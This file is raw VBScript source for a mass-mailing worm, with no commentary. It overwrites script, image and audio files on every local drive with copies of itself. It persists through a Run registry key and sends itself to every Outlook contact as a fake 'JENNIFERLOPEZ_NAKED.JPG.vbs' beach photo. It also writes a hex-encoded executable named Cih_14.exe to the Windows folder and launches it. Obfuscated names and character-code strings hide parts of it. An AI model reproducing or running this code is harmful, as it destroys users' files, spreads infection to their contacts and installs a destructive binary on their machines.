On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
listadriv()
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)  
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
next  
end sub
sub folderlist(folderspec)  
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)  
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next  
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
On Error Resume Next
Set VKmu2bSV4Ld = CreateObject("WScript.Shell")
VKmu2bSV4Ld.regwrite "HKCU\software\JENNIFFERLOPEZ_NAKED\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(105) & Chr(110) & Chr(32) & Chr(97) & Chr(108) & Chr(103) & Chr(101) & Chr(114) & Chr(105) & Chr(97)
Set Fk160x37Y0V= Createobject("scripting.filesystemobject")
Fk160x37Y0V.copyfile wscript.scriptfullname,Fk160x37Y0V.GetSpecialFolder(0)& "\JENNIFERLOPEZ_NAKED.JPG.vbs"
VKmu2bSV4Ld.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WORM","wscript.exe "&Fk160x37Y0V.GetSpecialFolder(0)& "\JENNIFERLOPEZ_NAKED.JPG.vbs %"
if VKmu2bSV4Ld.regread ("HKCU\software\JENNIFFERLOPEZ_NAKED\mailed") <> "1" then
I4u78m7UCS2()
end if
Function I4u78m7UCS2()
On Error Resume Next
Set p9n2SO1apge = CreateObject("Outlook.Application")
If p9n2SO1apge= "Outlook"Then
Set G7o9197WDL8=p9n2SO1apge.GetNameSpace("MAPI")
Set zae1VDT8659= G7o9197WDL8.AddressLists
For Each BC9iqQe7mDa In zae1VDT8659
If BC9iqQe7mDa.AddressEntries.Count <> 0 Then
r75t4D7g6PY = BC9iqQe7mDa.AddressEntries.Count
For qkbI0362Xcs= 1 To r75t4D7g6PY
Set O581N9c521y = p9n2SO1apge.CreateItem(0)
Set U5DTd01vNbw = BC9iqQe7mDa.AddressEntries(qkbI0362Xcs)
O581N9c521y.To = U5DTd01vNbw.Address
O581N9c521y.Subject = "Where are you?"
O581N9c521y.Body = "This is my pic in the beach!" & vbcrlf & ""
set zLYoDu14sLF=O581N9c521y.Attachments
zLYoDu14sLF.Add Fk160x37Y0V.GetSpecialFolder(0)& "\JENNIFERLOPEZ_NAKED.JPG.vbs"
O581N9c521y.DeleteAfterSubmit = True
If O581N9c521y.To <> "" Then
O581N9c521y.Send
VKmu2bSV4Ld.regwrite "HKCU\software\JENNIFFERLOPEZ_NAKED\mailed", "1"
End If
Next
End If
Next
end if
End Function
On Error Resume Next
Dim AR01, AR02, AR03
Set AR01 = CreateObject( "Scripting.FileSystemObject" )
Set AR02 = AR01.CreateTextFile( AR01.BuildPath( AR01.GetSpecialFolder(0), "Cih_14.exe" ), True )
AR02.Write( HEXACONV( "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "00000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD2154686973" ) )
AR02.Write( HEXACONV( "2070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000" ) )
AR02.Write( HEXACONV( "0000000055504500004C0104006655F32F0000000000000000E0000E010B01023200020000000C0000" ) )
AR02.Write( HEXACONV( "0000000040020000001000000020000000004000001000000002000001000000000000000400000000" ) )
AR02.Write( HEXACONV( "000000005000000004000047C200000200000000001000001000000000100000100000000000001000" ) )
AR02.Write( HEXACONV( "0000000000000000000000200000E40000000030000004070000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000400000140000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000005020740000000002000000100000000200000004000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000600000602E69646174610000000200000020000000020000000600000000000000000000000000" ) )
AR02.Write( HEXACONV( "00400000402E7273726300000000100000003000000008000000080000000000000000000000000000" ) )
AR02.Write( HEXACONV( "400000402E72656C6F6300003400000000400000000200000010000000000000000000000000000040" ) )
AR02.Write( HEXACONV( "0000422E72737263000000802B00000000010000000000E6000000E420400055010000AB104000C001" ) )
AR02.Write( HEXACONV( "0000558D4424F833DB648703E8000000005B8D4B425150500F014C24FE5B83C31CFA8B2B668B6BFC8D" ) )
AR02.Write( HEXACONV( "711256668973FCC1EE10668973025ECC568BF08B48FCF3A483E8088B300BF67402EBF05ECCFB33DBEB" ) )
AR02.Write( HEXACONV( "0733DB648B038B20648F03585D680C104000C374320F21C1E3108304241566896BFCC1ED1066896B02" ) )
AR02.Write( HEXACONV( "CF0F23C36A0F516AFF5151516A016A02CD205300010083C420978D469DCF8D87E7FCFFFF50CD206700" ) )
AR02.Write( HEXACONV( "40000F23C0588B4E3D8B118950FC8D40D68901FAEBB653E8000000005B83C32453CD206800400058FF" ) )
AR02.Write( HEXACONV( "742408FF53FC595053FF53FC590F23C0585BC3561702C060E8000000005E81C613030000F606010F85" ) )
AR02.Write( HEXACONV( "080200008D5C2428833B240F85F5010000FE0683C605568A43043CFF74080440B43A890646466A006A" ) )
AR02.Write( HEXACONV( "7F8B5B108B430C83C0045056CD204100400083C410817C06FC2E4558455E0F85B601000066837B1801" ) )
AR02.Write( HEXACONV( "0F85AB01000066B80043CD20320040000F829B010000518BBE52FDFFFF8B3FF6C101740866B8014333" ) )
AR02.Write( HEXACONV( "C9FFD733C0B4D533C933D2428BDA43FFD793599CF6C101740666B80143FFD79D0F8262010000569C83" ) )
AR02.Write( HEXACONV( "C67F33C0B4D68BE86A04596A3C5AFFD78B164A8BC5FFD7813E005045000F8524010000536A006A016D" ) )
AR02.Write( HEXACONV( "737061696E742E65786500558BEC83EC4456FF155C2040008BF08A003C227513468A0684C074043C22" ) )
AR02.Write( HEXACONV( "75F5803E22750D46EB0A3C207E0646803E207FFA803E00740B803E207F0646803E0075F5C745E80000" ) )
AR02.Write( HEXACONV( "00008D45BC50FF1558204000F645E801B80A00000074040FB745EC50566A006A00FF156420400050E8" ) )
AR02.Write( HEXACONV( "050000005E8BE55DC3FF7424106A00FF74241468001040006A006A00FF156C2040006A00FF15602040" ) )
AR02.Write( HEXACONV( "0033C0C2100052570F23CC508BC5B15283C207FFD78D4222508D06500FB7460E8D541012B0288A0EF6" ) )
AR02.Write( HEXACONV( "E18D76325052564151C1E1035103C803CA2B4E1CF7D14151918B46F00346FC8986ADFBFFFF66813C24" ) )
AR02.Write( HEXACONV( "B8007C7B8BC5FFD7956A0459528B563C83C212FFD7813E6E5A697074675A5B5F595703D55203EE558D" ) )
AR02.Write( HEXACONV( "443DFC89185303D7528DBE4FFBFFFF578956CE8D56D8BDFB030000EB3183C2288B5A102B5A08762C53" ) )
AR02.Write( HEXACONV( "83E80889188B5A14035A0853578B5A08035A0C035EFC8958048B18015A08814A24400000402BEB760E" ) )
AR02.Write( HEXACONV( "03FBE2C70F21CCEB3383C43CEB4A0128016C240833DB8958FC8D869FFCFFFFB10466C700CD208B948E" ) )
AR02.Write( HEXACONV( "27FFFFFF8950020FB6943126FFFFFF2BC2E2E50F21C88B58108B3859E30D8BF1B801D600005A59FFD7" ) )
AR02.Write( HEXACONV( "EBF05B58F99C33C0B4D7FFD79D5E73318BDF66B803438B4EFC8B7EFEFFD3FE4EFB610F21C0FF208BDC" ) )
AR02.Write( HEXACONV( "FF7338FF53245989431C837B282475068B41283C200000ACDE1B32FFFFFFFFBA200000582000005020" ) )
AR02.Write( HEXACONV( "000043992132FFFFFFFFD82000006C2000000000000000000000000000000000000000000000882000" ) )
AR02.Write( HEXACONV( "009A200000AC2000007420000000000000C820000000000000D076F7BFC1A0F8BF2AB0F8BF3976F7BF" ) )
AR02.Write( HEXACONV( "000000001192DE7F00000000F9004765744D6F64756C6548616E646C65410000240147657453746172" ) )
AR02.Write( HEXACONV( "747570496E666F4100BC00476574436F6D6D616E644C696E65410071004578697450726F6365737300" ) )
AR02.Write( HEXACONV( "4B45524E454C33322E646C6C00004E005368656C6C4578656375746541005348454C4C33322E646C6C" ) )
AR02.Write( HEXACONV( "0089460161C3B007E670E471342675D366BDF80C8D76C5BF4C38008066BAFE0CFAFFD666BF58004A66" ) )
AR02.Write( HEXACONV( "C74608240FFFD68D5EF4B855550E00B9AA2A0E00FFD3C6006051E2FE32E4880091E2FEB855550F0059" ) )
AR02.Write( HEXACONV( "B5AAFFD3C60020E2FEB4E0880066C746080C10FFD633DBB7805383EC2C68001000C0B7085351515168" ) )
AR02.Write( HEXACONV( "010500404151518BF481ECAC000000CD200400100066837E06177405FE464DEBEE015E10C6464D80EB" ) )
AR02.Write( HEXACONV( "E588088801C6008088088801C39787D5EF9787D5EC0C449787D5EF9787D5EEC3003A66275300010068" ) )
AR02.Write( HEXACONV( "00400041004000320040004349482076312E3420544154554E47000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "00001097660A040000000000030003000000280000800E000000400000801000000058000080000000" ) )
AR02.Write( HEXACONV( "001097660A04000000000001000100000070000080000000001097660A040000000000010001000000" ) )
AR02.Write( HEXACONV( "88000080000000001097660A040000000000010001000000A0000080000000001097660A0400000000" ) )
AR02.Write( HEXACONV( "00010004040000B8000000000000001097660A040000000000010004040000C8000000000000001097" ) )
AR02.Write( HEXACONV( "660A040000000000010004040000D8000000E8300000E8020000E404000000000000D0330000140000" ) )
AR02.Write( HEXACONV( "00E404000000000000E433000020030000E40400000000000028000000200000004000000001000400" ) )
AR02.Write( HEXACONV( "0000000000020000000000000000000000000000000000000000000000008000008000000080800080" ) )
AR02.Write( HEXACONV( "0000008000800080800000C0C0C000808080000000FF0000FF000000FFFF00FF000000FF00FF00FFFF" ) )
AR02.Write( HEXACONV( "0000FFFFFF000000000000000000000000000000000000000000000033333333333000000000000000" ) )
AR02.Write( HEXACONV( "00037B7B7B7B7B7B733300000000000008B7B7B7B44444B7B7B7330000000000FB7B7B7B4CCCCC447B" ) )
AR02.Write( HEXACONV( "7B73300000000FB7B7B7B7CCCCCCCC47B7B730000000FB7B7B7B7BCCCCCCCC4B7B7B3300000FB7B711" ) )
AR02.Write( HEXACONV( "17B7BCCCCCC4B7B7B7B300000B7B7199911B7B7CCC7B7B7B7B730000B7B719999991B7B7B7B7B7B7B7" ) )
AR02.Write( HEXACONV( "B300007B7B9999991B7B7B7B7B7B7B7B730000B7B7999991B7B7B7B30007B7B7B3000F7B7B7999917B" ) )
AR02.Write( HEXACONV( "7B7B3000007B7B73000FB7B7B79997B7B7B300C00007B730000F7B7B7B7B7B7B7B73000C0007773000" ) )
AR02.Write( HEXACONV( "0FB7222227B7B7B7B30000C0087300000F722A2A227B7B7B7730000C088000000FB2A2A2A227B7B7B7" ) )
AR02.Write( HEXACONV( "733370C00000000F7B2A2A2A2B7B7B7B7B7B730F0000000FB7A2A2A2B7B7B7B7B7B73000F000000F7B" ) )
AR02.Write( HEXACONV( "7A2A7B7B7B7B7B7B7300000F000000F7B7B7B7B75555B7B730000000000000FB7B7B7B55DDD55B7B30" ) )
AR02.Write( HEXACONV( "000000000000F7B7B7B5DDDDDD57B3000000000F00007F7B7BDDDDDDD57B730000000000F0000FB7B7" ) )
AR02.Write( HEXACONV( "BDDDDDD5B730000000000000000F7B7BDDDDDD7B7B300000000000000000F7B7B7B7B7B7B300000000" ) )
AR02.Write( HEXACONV( "00000000000FFF7B7B7B77300000000000000000000007FFFFFF700000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000FCF001FFFE00003FFE00000FFC0000" ) )
AR02.Write( HEXACONV( "07F8000003F0000003E0000001C0000001C00000018000000180000001800000010000060100000303" ) )
AR02.Write( HEXACONV( "00001103000018070000000F0000001F0000001F0000008F000001C7800003E1800003F0800007F080" ) )
AR02.Write( HEXACONV( "0007F8C0000FFCC0000FFCE0001FFDF0003FFFF8007FFFFE01FFFFFFFFFFFF00000100010020201000" ) )
AR02.Write( HEXACONV( "01000400E80200000100200334000000560053005F00560045005200530049004F004E005F0049004E" ) )
AR02.Write( HEXACONV( "0046004F0000000000BD04EFFE0000010000000400B603000000000400B60300003F00000000000000" ) )
AR02.Write( HEXACONV( "010001000100000000000000000000000000000080020000010053007400720069006E006700460069" ) )
AR02.Write( HEXACONV( "006C00650049006E0066006F0000005C02000001003000340030003400300034004200300000004C00" ) )
AR02.Write( HEXACONV( "1600010043006F006D00700061006E0079004E0061006D006500000000004D006900630072006F0073" ) )
AR02.Write( HEXACONV( "006F0066007400200043006F00720070006F0072006100740069006F006E00000040000C0001004600" ) )
AR02.Write( HEXACONV( "69006C0065004400650073006300720069007000740069006F006E0000000000570069006E0064006F" ) )
AR02.Write( HEXACONV( "00770073002000BF8A7282E4760000340009000100460069006C006500560065007200730069006F00" ) )
AR02.Write( HEXACONV( "6E000000000034002E00300030002E00390035003000000000002F000700010049006E007400650072" ) )
AR02.Write( HEXACONV( "006E0061006C004E0061006D0065000000500062007200750073006800000000007000260001004C00" ) )
AR02.Write( HEXACONV( "6500670061006C0043006F007000790072006900670068007400000043006F00700079007200690067" ) )
AR02.Write( HEXACONV( "00680074002000630020004D006900630072006F0073006F0066007400200043006F00720070002E00" ) )
AR02.Write( HEXACONV( "200031003900390031002D00310039003900350000003F000B0001004F0072006900670069006E0061" ) )
AR02.Write( HEXACONV( "006C00460069006C0065006E0061006D00650000005000420052005500530048002E00450058004500" ) )
AR02.Write( HEXACONV( "000000006C0025000100500072006F0064007500630074004E0061006D006500000000004D00690063" ) )
AR02.Write( HEXACONV( "0072006F0073006F006600740052002000570069006E0064006F0077007300520020004F0070006500" ) )
AR02.Write( HEXACONV( "72006100740069006E0067002000530079007300740065006D0000000000380009000100500072006F" ) )
AR02.Write( HEXACONV( "006400750063007400560065007200730069006F006E00000034002E00300030002E00390035003000" ) )
AR02.Write( HEXACONV( "00000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000" ) )
AR02.Write( HEXACONV( "005400720061006E0073006C006100740069006F006E00000000000404B00450414444494E47585850" ) )
AR02.Write( HEXACONV( "414444494E4750414444494E47585850414444494E4750414444494E47585850414444494E47504144" ) )
AR02.Write( HEXACONV( "44494E47585850414444494E4750414444494E47585850414444494E4750414444494E475858504144" ) )
AR02.Write( HEXACONV( "44494E4750414444494E47585850414444494E4750414444494E47585850414444494E475041444449" ) )
AR02.Write( HEXACONV( "4E47585850414444494E4750414444494E47585850414444494E4750414444494E4758585041444449" ) )
AR02.Write( HEXACONV( "4E4750414444494E47585850414444494E4750414444494E47585850414444494E4750414444494E47" ) )
AR02.Write( HEXACONV( "585850414444494E4750414444494E47585850414444494E4750414444494E47585850414400100000" ) )
AR02.Write( HEXACONV( "1400000015305B30763090309A30A23000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "0000000000000000000000000000000000000000000000000000000000000000000000000000000000" ) )
AR02.Write( HEXACONV( "00000000000000000000000000000000" ) )
AR02.Close
Set AR03 = CreateObject( "WScript.Shell" )
AR03.Run( AR01.BuildPath( AR01.GetSpecialFolder(0), "Cih_14.exe" ) )
Function HEXACONV( HE01 )
Dim HE02
Dim HE03
HE02 = ""
For HE03 = 1 To Len( HE01 ) Step 2
HE02 = HE02 & Chr( "&h" & Mid( HE01, HE03, 2 ) )
Next
HEXACONV = HE02
End Function